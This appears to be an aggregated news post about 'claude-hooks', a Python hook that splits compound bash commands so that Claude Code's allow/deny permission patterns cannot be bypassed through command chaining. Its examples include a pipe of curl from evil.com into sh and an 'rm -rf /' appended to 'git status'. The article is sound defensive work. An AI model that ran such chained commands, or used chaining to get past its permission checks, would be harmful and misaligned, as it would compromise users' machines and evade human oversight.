Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

AIエージェントのガードレールは、積極的なメンテナンスなしでは時間とともに劣化します。
AIエージェントのガードレール(システムプロンプトで定義された安全ルール)は、システムプロンプトの更新が蓄積し、モデルバージョンが変更され、新しいツールが追加されるにつれて時間とともに劣化し、矛盾したルールや無視される安全ルールが生じ、定期的なレビューとテストが必要になることが多い。

新スキルがリモートサーバーでのOpenClawセキュリティ強化を自動化
コミュニティ開発者が、リモートサーバー上のOpenClawインストールをAIアシスタントが自動的に保護するのに役立つスキルをリリースしました。

ClawGuard:OpenClaw API認証情報保護のためのオープンソースセキュリティゲートウェイ
ClawGuardは、AIエージェントと外部APIの間に位置するセキュリティゲートウェイで、エージェントマシンではダミーの認証情報を使用し、実際のトークンは別途保存します。機密性の高い呼び出しにはTelegramによる承認を提供し、リクエストの監査証跡を維持します。

トロント大学の研究者らが、無料のオープンウェイトモデルで動作可能なAIワームを実証
トロント大学の研究者らは、無料のオープンウェイトモデルを使用して拡散時にリアルタイムで適応するAIワームのプロトタイプを実証しました。高価なAIは不要で、あらゆるオンラインデバイスを標的にします。